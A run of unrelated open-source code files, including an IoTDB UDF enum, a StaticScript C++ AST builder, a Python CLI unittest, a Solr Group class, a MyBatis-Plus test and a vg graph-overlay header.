<gh_stars>100-1000 /* * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the * "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY * KIND, either express or implied. See the License for the * specific language governing permissions and limitations * under the License. */ package org.apache.iotdb.db.it.udf; /** All built-in UDFs need to register their function names and classes here. */ public enum BuiltinTimeSeriesGeneratingFunctionEnum { CONST("CONST"), E("E"), PI("PI"), SIN("SIN"), COS("COS"), TAN("TAN"), ASIN("ASIN"), ACOS("ACOS"), ATAN("ATAN"), SINH("SINH"), COSH("COSH"), TANH("TANH"), DEGREES("DEGREES"), RADIANS("RADIANS"), ABS("ABS"), SIGN("SIGN"), CEIL("CEIL"), FLOOR("FLOOR"), ROUND("ROUND"), EXP("EXP"), LN("LN"), LOG10("LOG10"), SQRT("SQRT"), STRING_CONTAINS("STRING_CONTAINS"), STRING_MATCHES("STRING_MATCHES"), STRING_LENGTH("LENGTH"), STRING_LOCATE("LOCATE"), STRING_STARTS_WITH("STARTSWITH"), STRING_ENDS_WITH("ENDSWITH"), STRING_CONCAT("CONCAT"), STRING_SUBSTR("SUBSTR"), STRING_UPPER("UPPER"), STRING_LOWER("LOWER"), STRING_TRIM("TRIM"), STRING_CMP("STRCMP"), DIFFERENCE("DIFFERENCE"), NON_NEGATIVE_DIFFERENCE("NON_NEGATIVE_DIFFERENCE"), TIME_DIFFERENCE("TIME_DIFFERENCE"), DERIVATIVE("DERIVATIVE"), NON_NEGATIVE_DERIVATIVE("NON_NEGATIVE_DERIVATIVE"), TOP_K("TOP_K"), BOTTOM_K("BOTTOM_K"), CAST("CAST"), IN_RANGE("IN_RANGE"), ON_OFF("ON_OFF"), ZERO_DURATION("ZERO_DURATION"), NON_ZERO_DURATION("NON_ZERO_DURATION"), ZERO_COUNT("ZERO_COUNT"), NON_ZERO_COUNT("NON_ZERO_COUNT"), EQUAL_SIZE_BUCKET_RANDOM_SAMPLE("EQUAL_SIZE_BUCKET_RANDOM_SAMPLE"), EQUAL_SIZE_BUCKET_AGG_SAMPLE("EQUAL_SIZE_BUCKET_AGG_SAMPLE"), EQUAL_SIZE_BUCKET_M4_SAMPLE("EQUAL_SIZE_BUCKET_M4_SAMPLE"), EQUAL_SIZE_BUCKET_OUTLIER_SAMPLE("EQUAL_SIZE_BUCKET_OUTLIER_SAMPLE"), JEXL("JEXL"); private final String functionName; BuiltinTimeSeriesGeneratingFunctionEnum(String functionName) { this.functionName = functionName; } public String getFunctionName() { return functionName; } }
1,021
932
#pragma once #include "ofMain.h" #include "ofxCv.h" #include "ofxFaceTracker.h" class ofApp : public ofBaseApp { public: void setup(); void update(); void draw(); void keyPressed(int key); ofVideoGrabber cam; ofxFaceTracker tracker; ofEasyCam easyCam; };
108
310
<reponame>dreeves/usesthis<gh_stars>100-1000 { "name": "Chromium", "description": "Open-source builds of the Chrome web browser.", "url": "http://www.chromium.org/" }
65
585
""" Name: tests Description: This file contains the test code Version: [release][3.2] Source url: https://github.com/OPHoperHPO/image-background-remove-tool Author: Anodev (OPHoperHPO)[https://github.com/OPHoperHPO] . License: Apache License 2.0 License: Copyright 2020 OPHoperHPO Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. """ import subprocess import unittest def cli_call_old(input, out, model): sub = subprocess.Popen("python3 ../main.py -i {} -o {} -m {}".format(input, out, model), shell=True, stdout=subprocess.PIPE) return sub.communicate()[0].decode("UTF-8").replace('\n', '') def cli_call(input, out, model, prep="bla", post="bla"): sub = subprocess.Popen("python3 ../main.py -i {} -o {} -m {} -prep {} -postp {}".format(input, out, model, prep, post), shell=True, stdout=subprocess.PIPE) return sub.communicate()[0].decode("UTF-8").replace('\n', '') class CliTest(unittest.TestCase): def test_cli(self): self.assertEqual(cli_call_old("docs/imgs/input/1.jpg", "docs/imgs/examples/u2netp/", "test"), "docs/imgs/input/1.jpg docs/imgs/examples/u2netp/ test None rtb-bnb2") self.assertEqual(cli_call_old("docs/imgs/input/1.jpg", "docs/imgs/examples/u2netp/1.png", "test"), "docs/imgs/input/1.jpg docs/imgs/examples/u2netp/1.png test None rtb-bnb2") self.assertEqual(cli_call_old("docs/imgs/input/", "docs/imgs/examples/u2netp/", "test"), "docs/imgs/input/ docs/imgs/examples/u2netp/ test None rtb-bnb2") self.assertEqual(cli_call("docs/imgs/input/1.jpg", "docs/imgs/examples/u2netp/", "test", "BLA-BAL", "daw"), "docs/imgs/input/1.jpg docs/imgs/examples/u2netp/ test BLA-BAL daw") self.assertEqual(cli_call("docs/imgs/input/1.jpg", "docs/imgs/examples/u2netp/", "test", "dawdwa", "daw"), "docs/imgs/input/1.jpg docs/imgs/examples/u2netp/ test dawdwa daw") if __name__ == '__main__': unittest.main()
1,203
428
#include "AST/ASTBuilder.h" // TODO: bindChildrenInversely ASTBuilder::ASTBuilder(String filename) : filename(std::move(filename)) {} antlrcpp::Any ASTBuilder::visitModule(StaticScriptParser::ModuleContext *ctx) { SharedPtrVector<StmtNode> childStmts; if (ctx->statements()) { antlrcpp::Any stmtsAny = visitStatements(ctx->statements()); childStmts = stmtsAny.as<SharedPtrVector<StmtNode>>(); } SharedPtr<ModuleNode> module = makeShared<ModuleNode>(filename, childStmts); module->bindChildrenInversely(); return module; } antlrcpp::Any ASTBuilder::visitStatements(StaticScriptParser::StatementsContext *ctx) { SharedPtrVector<StmtNode> stmts; for (auto &stmtCtx: ctx->statement()) { const SharedPtr<StmtNode> &stmt = visitStatement(stmtCtx); stmts.push_back(stmt); } return stmts; } antlrcpp::Any ASTBuilder::visitStatement(StaticScriptParser::StatementContext *ctx) { antlrcpp::Any stmtAny; SharedPtr<StmtNode> stmt; if (ctx->declarationStatement()) { stmtAny = visitDeclarationStatement(ctx->declarationStatement()); if (stmtAny.is<SharedPtr<VarDeclStmtNode>>()) { stmt = stmtAny.as<SharedPtr<VarDeclStmtNode>>(); } else if (stmtAny.is<SharedPtr<FunctionDeclStmtNode>>()) { stmt = stmtAny.as<SharedPtr<FunctionDeclStmtNode>>(); } } else if (ctx->compoundStatement()) { stmtAny = visitCompoundStatement(ctx->compoundStatement()); stmt = stmtAny.as<SharedPtr<CompoundStmtNode>>(); } else if (ctx->expressionStatement()) { stmtAny = visitExpressionStatement(ctx->expressionStatement()); stmt = stmtAny.as<SharedPtr<ExprStmtNode>>(); } else if (ctx->selectionStatement()) { stmtAny = visitSelectionStatement(ctx->selectionStatement()); stmt = stmtAny.as<SharedPtr<IfStmtNode>>(); } else if (ctx->iterationStatement()) { stmtAny = visitIterationStatement(ctx->iterationStatement()); if (stmtAny.is<SharedPtr<WhileStmtNode>>()) { stmt = stmtAny.as<SharedPtr<WhileStmtNode>>(); } else if (stmtAny.is<SharedPtr<ForStmtNode>>()) { stmt = stmtAny.as<SharedPtr<ForStmtNode>>(); } } else if (ctx->jumpStatement()) { stmtAny = visitJumpStatement(ctx->jumpStatement()); if (stmtAny.is<SharedPtr<ContinueStmtNode>>()) { stmt = stmtAny.as<SharedPtr<ContinueStmtNode>>(); } else if (stmtAny.is<SharedPtr<BreakStmtNode>>()) { stmt = stmtAny.as<SharedPtr<BreakStmtNode>>(); } else if (stmtAny.is<SharedPtr<ReturnStmtNode>>()) { stmt = stmtAny.as<SharedPtr<ReturnStmtNode>>(); } } return stmt; } antlrcpp::Any ASTBuilder::visitEmptyStatement(StaticScriptParser::EmptyStatementContext *ctx) { return nullptr; } antlrcpp::Any ASTBuilder::visitDeclarationStatement(StaticScriptParser::DeclarationStatementContext *ctx) { return visitDeclaration(ctx->declaration()); } antlrcpp::Any ASTBuilder::visitDeclaration(StaticScriptParser::DeclarationContext *ctx) { if (ctx->variableDeclaration()) { return visitVariableDeclaration(ctx->variableDeclaration()); } return visitFunctionDeclaration(ctx->functionDeclaration()); } antlrcpp::Any ASTBuilder::visitVariableDeclaration(StaticScriptParser::VariableDeclarationContext *ctx) { return visitVariableDeclarators(ctx->variableDeclarators()); } antlrcpp::Any ASTBuilder::visitVariableDeclarators(StaticScriptParser::VariableDeclaratorsContext *ctx) { VarModifier modifier = visitVariableModifier(ctx->variableModifier()); SharedPtr<VarDeclStmtNode> varDeclStmt = makeShared<VarDeclStmtNode>(); for (auto &declCtx : ctx->variableDeclarator()) { SharedPtr<VarDeclNode> varDecl = visitVariableDeclarator(declCtx); varDecl->modifier = modifier; varDeclStmt->pushVarDecl(varDecl); } varDeclStmt->bindChildrenInversely(); return varDeclStmt; } antlrcpp::Any ASTBuilder::visitVariableModifier(StaticScriptParser::VariableModifierContext *ctx) { if (ctx->Const()) { return VarModifier::Const; } return VarModifier::Let; } antlrcpp::Any ASTBuilder::visitVariableDeclarator(StaticScriptParser::VariableDeclaratorContext *ctx) { SharedPtr<VarDeclNode> varDecl = makeShared<VarDeclNode>(); varDecl->name = ctx->Identifier()->getText(); if (ctx->typeAnnotation()) { varDecl->type = visitTypeAnnotation(ctx->typeAnnotation()); } if (ctx->variableInitializer()) { varDecl->initVal = visitVariableInitializer(ctx->variableInitializer()); } varDecl->bindChildrenInversely(); return varDecl; } antlrcpp::Any ASTBuilder::visitVariableInitializer(StaticScriptParser::VariableInitializerContext *ctx) { return visitExpression(ctx->expression()); } antlrcpp::Any ASTBuilder::visitTypeAnnotation(StaticScriptParser::TypeAnnotationContext *ctx) { return visitType(ctx->type()); } antlrcpp::Any ASTBuilder::visitType(StaticScriptParser::TypeContext *ctx) { SharedPtr<Type> type; if (ctx->arrayType()) { type = visitArrayType(ctx->arrayType()).as<SharedPtr<ArrayType>>(); } else { type = visitBasicType(ctx->basicType()).as<SharedPtr<BasicType>>(); } return type; } antlrcpp::Any ASTBuilder::visitArrayType(StaticScriptParser::ArrayTypeContext *ctx) { const SharedPtr<BasicType> &basicType = visitBasicType(ctx->basicType()); size_t depth = ctx->OpenBracket().size(); return ArrayType::createNDArrayType(basicType, depth); } antlrcpp::Any ASTBuilder::visitBasicType(StaticScriptParser::BasicTypeContext *ctx) { if (ctx->Boolean()) { return BasicType::BOOLEAN_TYPE; } else if (ctx->Integer()) { return BasicType::INTEGER_TYPE; } else if (ctx->Number()) { return BasicType::FLOAT_TYPE; } return BasicType::STRING_TYPE; } antlrcpp::Any ASTBuilder::visitFunctionDeclaration(StaticScriptParser::FunctionDeclarationContext *ctx) { String name = ctx->Identifier()->getText(); SharedPtrVector<ParmVarDeclNode> params; SharedPtr<Type> returnType; if (ctx->parameterList()) { params = visitParameterList(ctx->parameterList()).as<SharedPtrVector<ParmVarDeclNode>>(); } if (ctx->typeAnnotation()) { returnType = visitTypeAnnotation(ctx->typeAnnotation()); } SharedPtr<CompoundStmtNode> body = visitFunctionBody(ctx->functionBody()); SharedPtr<FunctionDeclNode> functionDecl = makeShared<FunctionDeclNode>(name, params, returnType, body); SharedPtr<FunctionDeclStmtNode> functionDeclStmt = makeShared<FunctionDeclStmtNode>(functionDecl); functionDecl->bindChildrenInversely(); functionDeclStmt->bindChildrenInversely(); return functionDeclStmt; } antlrcpp::Any ASTBuilder::visitParameterList(StaticScriptParser::ParameterListContext *ctx) { SharedPtrVector<ParmVarDeclNode> params; for (size_t i = 0; i < ctx->Identifier().size(); ++i) { String name = ctx->Identifier(i)->getText(); SharedPtr<Type> type = visitTypeAnnotation(ctx->typeAnnotation(i)); SharedPtr<ParmVarDeclNode> param = makeShared<ParmVarDeclNode>(name, type); param->bindChildrenInversely(); params.push_back(param); } return params; } antlrcpp::Any ASTBuilder::visitFunctionBody(StaticScriptParser::FunctionBodyContext *ctx) { return visitCompoundStatement(ctx->compoundStatement()); } antlrcpp::Any ASTBuilder::visitCompoundStatement(StaticScriptParser::CompoundStatementContext *ctx) { SharedPtrVector<StmtNode> childStmts; if (ctx->statements()) { antlrcpp::Any stmtsAny = visitStatements(ctx->statements()); childStmts = stmtsAny.as<SharedPtrVector<StmtNode>>(); } SharedPtr<CompoundStmtNode> compoundStmt = makeShared<CompoundStmtNode>(childStmts); compoundStmt->bindChildrenInversely(); return compoundStmt; } antlrcpp::Any ASTBuilder::visitExpressionStatement(StaticScriptParser::ExpressionStatementContext *ctx) { SharedPtr<ExprNode> expr = visitExpression(ctx->expression()); SharedPtr<ExprStmtNode> exprStmt = makeShared<ExprStmtNode>(expr); exprStmt->bindChildrenInversely(); return exprStmt; } antlrcpp::Any ASTBuilder::visitExpression(StaticScriptParser::ExpressionContext *ctx) { SharedPtr<ExprNode> expr; antlrcpp::Any exprAny; if (auto arraySubscriptExprCtx = dynamic_cast<StaticScriptParser::ArraySubscriptExprContext *>(ctx)) { exprAny = visitArraySubscriptExpr(arraySubscriptExprCtx); expr = exprAny.as<SharedPtr<ArraySubscriptExprNode>>(); } else if (auto callExprCtx = dynamic_cast<StaticScriptParser::CallExprContext *>(ctx)) { exprAny = visitCallExpr(callExprCtx); expr = exprAny.as<SharedPtr<CallExprNode>>(); } else if (auto postfixUnaryExprCtx = dynamic_cast<StaticScriptParser::PostfixUnaryExprContext *>(ctx)) { exprAny = visitPostfixUnaryExpr(postfixUnaryExprCtx); expr = exprAny.as<SharedPtr<UnaryOperatorExprNode>>(); } else if (auto prefixUnaryExprCtx = dynamic_cast<StaticScriptParser::PrefixUnaryExprContext *>(ctx)) { exprAny = visitPrefixUnaryExpr(prefixUnaryExprCtx); expr = exprAny.as<SharedPtr<UnaryOperatorExprNode>>(); } else if (auto binaryExprCtx = dynamic_cast<StaticScriptParser::BinaryExprContext *>(ctx)) { exprAny = visitBinaryExpr(binaryExprCtx); expr = exprAny.as<SharedPtr<BinaryOperatorExprNode>>(); } else if (auto idExprCtx = dynamic_cast<StaticScriptParser::IdentifierExprContext *>(ctx)) { exprAny = visitIdentifierExpr(idExprCtx); expr = exprAny.as<SharedPtr<IdentifierExprNode>>(); } else if (auto literalExprCtx = dynamic_cast<StaticScriptParser::LiteralExprContext *>(ctx)) { exprAny = visitLiteralExpr(literalExprCtx); expr = exprAny.as<SharedPtr<LiteralExprNode>>(); } else if (auto parenExprCtx = dynamic_cast<StaticScriptParser::ParenExprContext *>(ctx)) { exprAny = visitParenExpr(parenExprCtx); expr = exprAny.as<SharedPtr<ExprNode>>(); } expr->bindChildrenInversely(); return expr; } antlrcpp::Any ASTBuilder::visitArraySubscriptExpr(StaticScriptParser::ArraySubscriptExprContext *ctx) { SharedPtr<ExprNode> baseExpr = visitExpression(ctx->base); SharedPtrVector<ExprNode> indexExprs(ctx->index.size()); for (size_t i = 0; i < ctx->index.size(); ++i) { indexExprs[i] = visitExpression(ctx->index[i]).as<SharedPtr<ExprNode>>(); } return makeShared<ArraySubscriptExprNode>(baseExpr, indexExprs); } antlrcpp::Any ASTBuilder::visitCallExpr(StaticScriptParser::CallExprContext *ctx) { return visitCallExpression(ctx->callExpression()); } antlrcpp::Any ASTBuilder::visitPostfixUnaryExpr(StaticScriptParser::PostfixUnaryExprContext *ctx) { SharedPtr<ExprNode> subExpr = visitExpression(ctx->expression()); SharedPtr<UnaryOperatorExprNode> expr = makeShared<UnaryOperatorExprNode>(ctx->uop->getType(), subExpr); expr->isPostfix = true; return expr; } antlrcpp::Any ASTBuilder::visitPrefixUnaryExpr(StaticScriptParser::PrefixUnaryExprContext *ctx) { SharedPtr<ExprNode> subExpr = visitExpression(ctx->expression()); return makeShared<UnaryOperatorExprNode>(ctx->uop->getType(), subExpr); } antlrcpp::Any ASTBuilder::visitBinaryExpr(StaticScriptParser::BinaryExprContext *ctx) { SharedPtr<ExprNode> lhs = visitExpression(ctx->expression(0)); SharedPtr<ExprNode> rhs = visitExpression(ctx->expression(1)); return makeShared<BinaryOperatorExprNode>(ctx->bop->getType(), lhs, rhs); } antlrcpp::Any ASTBuilder::visitIdentifierExpr(StaticScriptParser::IdentifierExprContext *ctx) { return makeShared<IdentifierExprNode>(ctx->Identifier()->getText()); } antlrcpp::Any ASTBuilder::visitLiteralExpr(StaticScriptParser::LiteralExprContext *ctx) { return visitLiteral(ctx->literal()); } antlrcpp::Any ASTBuilder::visitParenExpr(StaticScriptParser::ParenExprContext *ctx) { return visitExpression(ctx->expression()); } antlrcpp::Any ASTBuilder::visitCallExpression(StaticScriptParser::CallExpressionContext *ctx) { String calleeName = ctx->Identifier()->getText(); SharedPtrVector<ExprNode> args; if (ctx->argumentList()) { args = visitArgumentList(ctx->argumentList()).as<SharedPtrVector<ExprNode>>(); } SharedPtr<CallExprNode> callExpr = makeShared<CallExprNode>(calleeName, args); callExpr->bindChildrenInversely(); return callExpr; } antlrcpp::Any ASTBuilder::visitArgumentList(StaticScriptParser::ArgumentListContext *ctx) { return visitExpressionList(ctx->expressionList()); } antlrcpp::Any ASTBuilder::visitLiteral(StaticScriptParser::LiteralContext *ctx) { SharedPtr<LiteralExprNode> literalExpr; if (ctx->BooleanLiteral()) { bool literal = ctx->BooleanLiteral()->getText() == "true"; literalExpr = makeShared<BooleanLiteralExprNode>(literal); } else if (ctx->StringLiteral()) { String literal = ctx->StringLiteral()->getText(); literal = literal.substr(1, literal.size() - 2); literalExpr = makeShared<StringLiteralExprNode>(literal); } else if (ctx->arrayLiteral()) { literalExpr = visitArrayLiteral(ctx->arrayLiteral()).as<SharedPtr<ArrayLiteralExprNode>>(); } else if (ctx->FloatLiteral()) { double literal = std::stod(ctx->FloatLiteral()->getText()); literalExpr = makeShared<FloatLiteralExprNode>(literal); } else { int base = 10; String literalStr; if (ctx->DecimalIntegerLiteral()) { base = 10; literalStr = ctx->DecimalIntegerLiteral()->getText(); } else if (ctx->HexIntegerLiteral()) { base = 16; literalStr = ctx->HexIntegerLiteral()->getText(); literalStr = literalStr.substr(2, literalStr.size() - 2); } else if (ctx->OctalIntegerLiteral()) { base = 8; literalStr = ctx->OctalIntegerLiteral()->getText(); literalStr = literalStr.substr(2, literalStr.size() - 2); } else if (ctx->BinaryIntegerLiteral()) { base = 2; literalStr = ctx->BinaryIntegerLiteral()->getText(); literalStr = literalStr.substr(2, literalStr.size() - 2); } long literal = std::stol(literalStr, nullptr, base); literalExpr = makeShared<IntegerLiteralExprNode>(literal); } return literalExpr; } antlrcpp::Any ASTBuilder::visitArrayLiteral(StaticScriptParser::ArrayLiteralContext *ctx) { SharedPtr<ArrayLiteralExprNode> arrayLiteralExpr = makeShared<ArrayLiteralExprNode>(); if (ctx->expressionList()) { arrayLiteralExpr->elements = visitExpressionList(ctx->expressionList()).as<SharedPtrVector<ExprNode>>(); } return arrayLiteralExpr; } antlrcpp::Any ASTBuilder::visitSelectionStatement(StaticScriptParser::SelectionStatementContext *ctx) { return visitIfStatement(ctx->ifStatement()); } antlrcpp::Any ASTBuilder::visitIfStatement(StaticScriptParser::IfStatementContext *ctx) { SharedPtr<ExprNode> condition = visitExpression(ctx->ifCondition); SharedPtr<StmtNode> thenBody = visitStatement(ctx->thenBody); SharedPtr<StmtNode> elseBody; if (ctx->Else()) { elseBody = visitStatement(ctx->elseBody); } SharedPtr<IfStmtNode> ifStmt = makeShared<IfStmtNode>(condition, thenBody, elseBody); ifStmt->bindChildrenInversely(); return ifStmt; } antlrcpp::Any ASTBuilder::visitIterationStatement(StaticScriptParser::IterationStatementContext *ctx) { if (ctx->whileStatement()) { return visitWhileStatement(ctx->whileStatement()); } return visitForStatement(ctx->forStatement()); } antlrcpp::Any ASTBuilder::visitWhileStatement(StaticScriptParser::WhileStatementContext *ctx) { SharedPtr<ExprNode> condition = visitExpression(ctx->whileCondition); SharedPtr<StmtNode> body = visitStatement(ctx->whileBody); SharedPtr<WhileStmtNode> whileStmt = makeShared<WhileStmtNode>(condition, body); whileStmt->bindChildrenInversely(); return whileStmt; } antlrcpp::Any ASTBuilder::visitForStatement(StaticScriptParser::ForStatementContext *ctx) { SharedPtr<VarDeclStmtNode> forInitVarDecls; SharedPtrVector<ExprNode> forInitExprList; SharedPtr<ExprNode> forCondition; SharedPtrVector<ExprNode> forUpdate; if (ctx->forInit()) { antlrcpp::Any forInitAny = visitForInit(ctx->forInit()); if (forInitAny.is<SharedPtr<VarDeclStmtNode>>()) { forInitVarDecls = forInitAny.as<SharedPtr<VarDeclStmtNode>>(); } else if (forInitAny.is<SharedPtrVector<ExprNode>>()) { forInitExprList = forInitAny.as<SharedPtrVector<ExprNode>>(); } } if (ctx->forCondition) { forCondition = visitExpression(ctx->forCondition); } if (ctx->forUpdate) { antlrcpp::Any forUpdateAny = visitExpressionList(ctx->forUpdate); forUpdate = forUpdateAny.as<SharedPtrVector<ExprNode>>(); } SharedPtr<StmtNode> body = visitStatement(ctx->forBody); SharedPtr<ForStmtNode> forStmt = makeShared<ForStmtNode>(forInitVarDecls, forInitExprList, forCondition, forUpdate, body); forStmt->bindChildrenInversely(); return forStmt; } antlrcpp::Any ASTBuilder::visitForInit(StaticScriptParser::ForInitContext *ctx) { if (ctx->variableDeclarators()) { return visitVariableDeclarators(ctx->variableDeclarators()); } return visitExpressionList(ctx->expressionList()); } antlrcpp::Any ASTBuilder::visitExpressionList(StaticScriptParser::ExpressionListContext *ctx) { SharedPtrVector<ExprNode> exprList; for (auto exprCtx : ctx->expression()) { SharedPtr<ExprNode> expr = visitExpression(exprCtx); exprList.push_back(expr); } return exprList; } antlrcpp::Any ASTBuilder::visitJumpStatement(StaticScriptParser::JumpStatementContext *ctx) { if (ctx->continueStatement()) { return visitContinueStatement(ctx->continueStatement()); } else if (ctx->breakStatement()) { return visitBreakStatement(ctx->breakStatement()); } return visitReturnStatement(ctx->returnStatement()); } antlrcpp::Any ASTBuilder::visitContinueStatement(StaticScriptParser::ContinueStatementContext *ctx) { SharedPtr<ContinueStmtNode> continueStmt = makeShared<ContinueStmtNode>(); return continueStmt; } antlrcpp::Any ASTBuilder::visitBreakStatement(StaticScriptParser::BreakStatementContext *ctx) { SharedPtr<BreakStmtNode> breakStmt = makeShared<BreakStmtNode>(); return breakStmt; } antlrcpp::Any ASTBuilder::visitReturnStatement(StaticScriptParser::ReturnStatementContext *ctx) { SharedPtr<ExprNode> returnExpr; if (ctx->returnExpr) { returnExpr = visitExpression(ctx->expression()); } SharedPtr<ReturnStmtNode> returnStmt = makeShared<ReturnStmtNode>(returnExpr); returnStmt->bindChildrenInversely(); return returnStmt; }
7,151
585
/* * Licensed to the Apache Software Foundation (ASF) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * The ASF licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.apache.solr.client.solrj.response; import org.apache.solr.common.SolrDocumentList; import java.io.Serializable; /** * Represents a group. A group contains a common group value that all documents inside the group share and * documents that belong to this group. * * A group value can be a field value, function result or a query string depending on the {@link GroupCommand}. * In case of a field value or a function result the value is always a indexed value. * * @since solr 3.4 */ public class Group implements Serializable { private final String _groupValue; private final SolrDocumentList _result; /** * Creates a Group instance. * * @param groupValue The common group value (indexed value) that all documents share. * @param result The documents to be displayed that belong to this group */ public Group(String groupValue, SolrDocumentList result) { _groupValue = groupValue; _result = result; } /** * Returns the common group value that all documents share inside this group. * This is an indexed value, not a stored value. * * @return the common group value */ public String getGroupValue() { return _groupValue; } /** * Returns the documents to be displayed that belong to this group. * How many documents are returned depend on the <code>group.offset</code> and <code>group.limit</code> parameters. * * @return the documents to be displayed that belong to this group */ public SolrDocumentList getResult() { return _result; } }
632
13,585
package com.baomidou.mybatisplus.test.resultmap; import com.baomidou.mybatisplus.test.BaseDbTest; import org.junit.jupiter.api.Test; import java.util.Arrays; import java.util.List; import static org.assertj.core.api.Assertions.assertThat; /** * @author miemie * @since 2020-06-23 */ public class ResultMapTest extends BaseDbTest<EntityMapper> { @Test void test() { doTestAutoCommit(m -> m.insert(new Entity().setGg1(new Entity.Gg("老王")) .setGg2(new Entity.Gg("老李")))); doTest(m -> { Entity entity = m.selectOne(null); assertThat(entity).as("插入正常").isNotNull(); assertThat(entity.getGg1()).as("typeHandler正常").isNotNull(); assertThat(entity.getGg1().getName()).as("是老王").isEqualTo("老王"); assertThat(entity.getGg2()).as("typeHandler正常").isNotNull(); assertThat(entity.getGg2().getName()).as("是老李").isEqualTo("老李"); }); } @Override protected List<String> tableSql() { return Arrays.asList("drop table if exists entity", "CREATE TABLE IF NOT EXISTS entity (\n" + "id BIGINT(20) NOT NULL,\n" + "gg1 VARCHAR(255) NULL DEFAULT NULL,\n" + "gg2 VARCHAR(255) NULL DEFAULT NULL,\n" + "PRIMARY KEY (id)" + ")"); } @Override protected String mapperXml() { return "com/baomidou/mybatisplus/test/resultmap/entityMapper.xml"; } }
725
740
<reponame>ruolin/vg<filename>src/source_sink_overlay.hpp<gh_stars>100-1000 #ifndef VG_SOURCE_SINK_OVERLAY_HPP_INCLUDED #define VG_SOURCE_SINK_OVERLAY_HPP_INCLUDED /** * \file source_sink_overlay.hpp * * Provides SourceSinkOverlay, a HandleGraph implementation that joins all the * heads and tails of a backing graph to single source and sink nodes. * */ #include "handle.hpp" #include <handlegraph/util.hpp> namespace vg { using namespace handlegraph; /** * Present a HandleGraph that is a backing HandleGraph with all its head nodes * connected to a single source node, and all its tail nodes connected to a * single sink node. */ class SourceSinkOverlay : public ExpandingOverlayGraph { public: /** * Make a new SourceSinkOverlay. The backing graph must not be modified * while the overlay exists. * * The overlay will project a source node consisting of '#' characters, and * a sink node consisting of '$' characters. The lengths of the nodes may * be specified, and default to 1024, the max length that GCSA2 supports. * The IDs of the nodes will be autodetected from the backing graph's max * ID if not specified (or given as 0). If either is specified, both must * be specified. * * Also breaks into disconnected components with no tips, unless * break_disconnected is false. When breaking into such a component, we * choose an arbitrary node, link the source node to its start, and link * everything that also went to its start to the sink node. */ SourceSinkOverlay(const HandleGraph* backing, size_t length = 1024, id_t source_id = 0, id_t sink_id = 0, bool break_disconnected = true); /// Expose the handle to the synthetic source handle_t get_source_handle() const; /// Expose the handle to the synthetic sink handle_t get_sink_handle() const; //////////////////////////////////////////////////////////////////////////// // Handle-based interface //////////////////////////////////////////////////////////////////////////// /// Check if a node exists by ID virtual bool has_node(id_t node_id) const; /// Look up the handle for the node with the given ID in the given orientation virtual handle_t get_handle(const id_t& node_id, bool is_reverse) const; /// Get the ID from a handle virtual id_t get_id(const handle_t& handle) const; /// Get the orientation of a handle virtual bool get_is_reverse(const handle_t& handle) const; /// Invert the orientation of a handle (potentially without getting its ID) virtual handle_t flip(const handle_t& handle) const; /// Get the length of a node virtual size_t get_length(const handle_t& handle) const; /// Get the sequence of a node, presented in the handle's local forward /// orientation. virtual string get_sequence(const handle_t& handle) const; /// Loop over all the handles to next/previous (right/left) nodes. Passes /// them to a callback which returns false to stop iterating and true to /// continue. Returns true if we finished and false if we stopped early. virtual bool follow_edges_impl(const handle_t& handle, bool go_left, const function<bool(const handle_t&)>& iteratee) const; /// Loop over all the nodes in the graph in their local forward /// orientations, in their internal stored order. Stop if the iteratee returns false. virtual bool for_each_handle_impl(const function<bool(const handle_t&)>& iteratee, bool parallel = false) const; /// Return the number of nodes in the graph virtual size_t get_node_count() const; /// Return the smallest ID in the graph. virtual id_t min_node_id() const; /// Return the largest ID in the graph. virtual id_t max_node_id() const; /// Compute the degree of one side of a handle in O(1) time, if the backing /// graph also provides this facility in O(1) time. Takes O(n) time /// otherwise in the returned degree. virtual size_t get_degree(const handle_t& handle, bool go_left) const; //////////////////////////////////////////////////////////////////////////// // Overlay interface //////////////////////////////////////////////////////////////////////////// /// Get the handle in the underlying graph that corresponds to the handle in /// the overlay. /// Throws an error if called on either the source or sink node virtual handle_t get_underlying_handle(const handle_t& handle) const; protected: /// How long are the projected nodes? size_t node_length; /// What backing graph do we overlay? const HandleGraph* backing; /// What is our projected source node ID? id_t source_id; /// What is our projected sink node ID? id_t sink_id; /// We keep a set of backing graph head handles, in backing graph handle /// space. This also includes anything else we need to hook up to our /// source node to break into tipless components. unordered_set<handle_t> backing_heads; /// And similarly for the tails. These handles read out of their components. unordered_set<handle_t> backing_tails; // We reserve the 4 low numbers of the handles for our new source and sink, and shift everything else up. // These could have been static, but I couldn't figure out how to properly initialize them using constexpr functions. const handle_t source_fwd = as_handle(0); const handle_t source_rev = as_handle(1); const handle_t sink_fwd = as_handle(2); const handle_t sink_rev = as_handle(3); /// Convert a backing graph handle to our handle to the same node inline handle_t from_backing(const handle_t& backing_handle) const { return as_handle(as_integer(backing_handle) + 4); } /// Convert our handle to a backing graph node into a backing graph handle to the same node inline handle_t to_backing(const handle_t& our_handle) const { return as_handle(as_integer(our_handle) - 4); } /// Determine if a handle points to an overlay-added node or not inline bool is_ours(const handle_t& our_handle) const { return ((uint64_t) as_integer(our_handle)) < 4; } }; } #endif
2,026
892
